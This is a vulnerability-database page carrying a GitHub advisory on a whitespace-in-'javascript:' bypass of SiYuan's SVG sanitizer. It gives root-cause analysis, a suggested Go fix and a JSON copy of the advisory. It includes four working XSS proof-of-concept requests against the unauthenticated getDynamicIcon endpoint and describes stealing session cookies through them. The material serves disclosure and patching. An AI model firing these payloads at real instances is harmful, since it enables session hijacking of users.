GHSA-PMC9-F5QR-2PCR

Vulnerability from github – Published: 2026-03-10 23:57 – Updated: 2026-03-10 23:57
VLAI?
Summary
SiYuan has a SVG Sanitizer Bypass via Whitespace in `javascript:` URI — Unauthenticated XSS
Details

SVG Sanitizer Bypass via Whitespace in javascript: URI — Unauthenticated XSS

Summary

SiYuan's SVG sanitizer (SanitizeSVG) checks href attributes for the javascript: prefix using strings.HasPrefix(). However, inserting ASCII tab (	), newline (
), or carriage return (
) characters inside the javascript: string bypasses this prefix check. Browsers strip these characters per the WHATWG URL specification before parsing the URL scheme, so the JavaScript still executes. This allows an attacker to inject executable JavaScript into the unauthenticated /api/icon/getDynamicIcon endpoint, creating a reflected XSS.

This is a second bypass of the fix for CVE-2026-29183 (fixed in v3.5.9), distinct from the <animate> element bypass.

Affected Component

  • File: kernel/util/misc.go
  • Function: SanitizeSVG() (lines 234-319)
  • Specific check: Line 271 — strings.HasPrefix(val, "javascript:")
  • Endpoint: GET /api/icon/getDynamicIcon?type=8&content=... (unauthenticated)
  • Version: SiYuan <= 3.5.9

Root Cause

The sanitizer uses Go's html.Parse which decodes HTML entities in attribute values. When the input contains java&#9;script:alert(1), the parser decodes &#9; to a literal tab character (U+0009). The sanitizer then checks:

val := strings.TrimSpace(strings.ToLower(a.Val))
// val is now "java\tscript:alert(1)"

if strings.HasPrefix(val, "javascript:") {
    continue  // This check FAILS — tab breaks the prefix match
}

strings.TrimSpace only removes leading/trailing whitespace, not internal whitespace. The HasPrefix check fails because "java\tscript:..." does not start with "javascript:".

However, per the WHATWG URL Standard, step 1 of URL parsing removes all ASCII tab and newline characters (U+0009, U+000A, U+000D) from the input. So the browser parses java\tscript:alert(1) as javascript:alert(1).

Proof of Concept

Vector 1: Tab character (&#9;)

GET /api/icon/getDynamicIcon?type=8&content=</text><a href="java&#9;script:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue

Vector 2: Newline character (&#10;)

GET /api/icon/getDynamicIcon?type=8&content=</text><a href="java&#10;script:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue

Vector 3: Carriage return (&#13;)

GET /api/icon/getDynamicIcon?type=8&content=</text><a href="java&#13;script:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue

Vector 4: Multiple whitespace characters

GET /api/icon/getDynamicIcon?type=8&content=</text><a href="j&#9;a&#10;v&#13;a&#9;s&#10;c&#13;r&#9;i&#10;p&#13;t:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue

Processing trace

  1. Input: <a href="java&#9;script:alert(document.domain)">
  2. html.Parse: Decodes entity → attribute value = java\tscript:alert(document.domain)
  3. Sanitizer: TrimSpace(ToLower(val)) = java\tscript:alert(document.domain) (tab preserved in middle)
  4. HasPrefix check: "java\tscript:..." does NOT start with "javascript:"passes through
  5. html.Render: Outputs literal tab character in href (tabs are not HTML-special)
  6. Browser URL parser: Strips tab per WHATWG URL spec → javascript:alert(document.domain)
  7. User clicks link → JavaScript executes

Attack Scenario

Same as CVE-2026-29183 / advisory #01: 1. Attacker crafts a malicious getDynamicIcon URL 2. Victim navigates to the URL (or is redirected) 3. SVG renders with Content-Type: image/svg+xml 4. Victim clicks the text link in the SVG 5. JavaScript executes in SiYuan's origin 6. Attacker steals session cookies, API tokens, or makes authenticated API calls

Impact

  • Severity: CRITICAL (CVSS ~9.1)
  • Type: CWE-79 (Improper Neutralization of Input During Web Page Generation)
  • Unauthenticated reflected XSS via SVG injection
  • Executes in the SiYuan application origin
  • Bypasses the fix for CVE-2026-29183
  • Independent of the <animate> element bypass (advisory #01) — different root cause

Suggested Fix

Replace the simple HasPrefix check with whitespace-stripped comparison:

// Strip ASCII tab, newline, CR before checking for javascript: prefix
cleaned := strings.Map(func(r rune) rune {
    if r == '\t' || r == '\n' || r == '\r' {
        return -1  // Remove character
    }
    return r
}, val)

if key == "href" || key == "xlink:href" || key == "xlinkhref" {
    if strings.HasPrefix(cleaned, "javascript:") {
        continue
    }
    if strings.HasPrefix(cleaned, "data:") {
        if strings.Contains(cleaned, "text/html") || strings.Contains(cleaned, "image/svg+xml") || strings.Contains(cleaned, "application/xhtml+xml") {
            continue
        }
    }
}

This should also be applied to the data: URI check, as the same whitespace bypass could potentially affect it.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260310025236-297bd526708f"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31809"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-10T23:57:56Z",
    "nvd_published_at": "2026-03-10T21:16:50Z",
    "severity": "MODERATE"
  },
  "details": "# SVG Sanitizer Bypass via Whitespace in `javascript:` URI \u2014 Unauthenticated XSS\n\n## Summary\n\nSiYuan\u0027s SVG sanitizer (`SanitizeSVG`) checks `href` attributes for the `javascript:` prefix using `strings.HasPrefix()`. However, inserting ASCII tab (`\u0026#9;`), newline (`\u0026#10;`), or carriage return (`\u0026#13;`) characters inside the `javascript:` string bypasses this prefix check. Browsers strip these characters per the WHATWG URL specification before parsing the URL scheme, so the JavaScript still executes. This allows an attacker to inject executable JavaScript into the unauthenticated `/api/icon/getDynamicIcon` endpoint, creating a reflected XSS.\n\nThis is a second bypass of the fix for CVE-2026-29183 (fixed in v3.5.9), [distinct from the `\u003canimate\u003e` element bypass](https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5hc8-qmg8-pw27).\n\n## Affected Component\n\n- **File:** `kernel/util/misc.go`\n- **Function:** `SanitizeSVG()` (lines 234-319)\n- **Specific check:** Line 271 \u2014 `strings.HasPrefix(val, \"javascript:\")`\n- **Endpoint:** `GET /api/icon/getDynamicIcon?type=8\u0026content=...` (unauthenticated)\n- **Version:** SiYuan \u003c= 3.5.9\n\n## Root Cause\n\nThe sanitizer uses Go\u0027s `html.Parse` which decodes HTML entities in attribute values. When the input contains `java\u0026#9;script:alert(1)`, the parser decodes `\u0026#9;` to a literal tab character (U+0009). The sanitizer then checks:\n\n```go\nval := strings.TrimSpace(strings.ToLower(a.Val))\n// val is now \"java\\tscript:alert(1)\"\n\nif strings.HasPrefix(val, \"javascript:\") {\n    continue  // This check FAILS \u2014 tab breaks the prefix match\n}\n```\n\n`strings.TrimSpace` only removes leading/trailing whitespace, not internal whitespace. The `HasPrefix` check fails because `\"java\\tscript:...\"` does not start with `\"javascript:\"`.\n\nHowever, per the [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing), step 1 of URL parsing removes all ASCII tab and newline characters (U+0009, U+000A, U+000D) from the input. So the browser parses `java\\tscript:alert(1)` as `javascript:alert(1)`.\n\n## Proof of Concept\n\n### Vector 1: Tab character (`\u0026#9;`)\n\n```\nGET /api/icon/getDynamicIcon?type=8\u0026content=\u003c/text\u003e\u003ca href=\"java\u0026#9;script:alert(document.domain)\"\u003e\u003ctext x=\"50%25\" y=\"80%25\" fill=\"red\" style=\"font-size:60px\"\u003eClick me\u003c/text\u003e\u003c/a\u003e\u003ctext\u003e\u0026color=blue\n```\n\n### Vector 2: Newline character (`\u0026#10;`)\n\n```\nGET /api/icon/getDynamicIcon?type=8\u0026content=\u003c/text\u003e\u003ca href=\"java\u0026#10;script:alert(document.domain)\"\u003e\u003ctext x=\"50%25\" y=\"80%25\" fill=\"red\" style=\"font-size:60px\"\u003eClick me\u003c/text\u003e\u003c/a\u003e\u003ctext\u003e\u0026color=blue\n```\n\n### Vector 3: Carriage return (`\u0026#13;`)\n\n```\nGET /api/icon/getDynamicIcon?type=8\u0026content=\u003c/text\u003e\u003ca href=\"java\u0026#13;script:alert(document.domain)\"\u003e\u003ctext x=\"50%25\" y=\"80%25\" fill=\"red\" style=\"font-size:60px\"\u003eClick me\u003c/text\u003e\u003c/a\u003e\u003ctext\u003e\u0026color=blue\n```\n\n### Vector 4: Multiple whitespace characters\n\n```\nGET /api/icon/getDynamicIcon?type=8\u0026content=\u003c/text\u003e\u003ca href=\"j\u0026#9;a\u0026#10;v\u0026#13;a\u0026#9;s\u0026#10;c\u0026#13;r\u0026#9;i\u0026#10;p\u0026#13;t:alert(document.domain)\"\u003e\u003ctext x=\"50%25\" y=\"80%25\" fill=\"red\" style=\"font-size:60px\"\u003eClick me\u003c/text\u003e\u003c/a\u003e\u003ctext\u003e\u0026color=blue\n```\n\n### Processing trace\n\n1. **Input:** `\u003ca href=\"java\u0026#9;script:alert(document.domain)\"\u003e`\n2. **html.Parse:** Decodes entity \u2192 attribute value = `java\\tscript:alert(document.domain)`\n3. **Sanitizer:** `TrimSpace(ToLower(val))` = `java\\tscript:alert(document.domain)` (tab preserved in middle)\n4. **HasPrefix check:** `\"java\\tscript:...\"` does NOT start with `\"javascript:\"` \u2192 **passes through**\n5. **html.Render:** Outputs literal tab character in href (tabs are not HTML-special)\n6. **Browser URL parser:** Strips tab per WHATWG URL spec \u2192 `javascript:alert(document.domain)`\n7. **User clicks link \u2192 JavaScript executes**\n\n## Attack Scenario\n\nSame as CVE-2026-29183 / advisory #01:\n1. Attacker crafts a malicious `getDynamicIcon` URL\n2. Victim navigates to the URL (or is redirected)\n3. SVG renders with `Content-Type: image/svg+xml`\n4. Victim clicks the text link in the SVG\n5. JavaScript executes in SiYuan\u0027s origin\n6. Attacker steals session cookies, API tokens, or makes authenticated API calls\n\n## Impact\n\n- **Severity:** CRITICAL (CVSS ~9.1)\n- **Type:** CWE-79 (Improper Neutralization of Input During Web Page Generation)\n- Unauthenticated reflected XSS via SVG injection\n- Executes in the SiYuan application origin\n- Bypasses the fix for CVE-2026-29183\n- Independent of the `\u003canimate\u003e` element bypass (advisory #01) \u2014 different root cause\n\n## Suggested Fix\n\nReplace the simple `HasPrefix` check with whitespace-stripped comparison:\n\n```go\n// Strip ASCII tab, newline, CR before checking for javascript: prefix\ncleaned := strings.Map(func(r rune) rune {\n    if r == \u0027\\t\u0027 || r == \u0027\\n\u0027 || r == \u0027\\r\u0027 {\n        return -1  // Remove character\n    }\n    return r\n}, val)\n\nif key == \"href\" || key == \"xlink:href\" || key == \"xlinkhref\" {\n    if strings.HasPrefix(cleaned, \"javascript:\") {\n        continue\n    }\n    if strings.HasPrefix(cleaned, \"data:\") {\n        if strings.Contains(cleaned, \"text/html\") || strings.Contains(cleaned, \"image/svg+xml\") || strings.Contains(cleaned, \"application/xhtml+xml\") {\n            continue\n        }\n    }\n}\n```\n\nThis should also be applied to the `data:` URI check, as the same whitespace bypass could potentially affect it.",
  "id": "GHSA-pmc9-f5qr-2pcr",
  "modified": "2026-03-10T23:57:56Z",
  "published": "2026-03-10T23:57:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-pmc9-f5qr-2pcr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31809"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.5.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SiYuan has a SVG Sanitizer Bypass via Whitespace in `javascript:` URI \u2014 Unauthenticated XSS"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…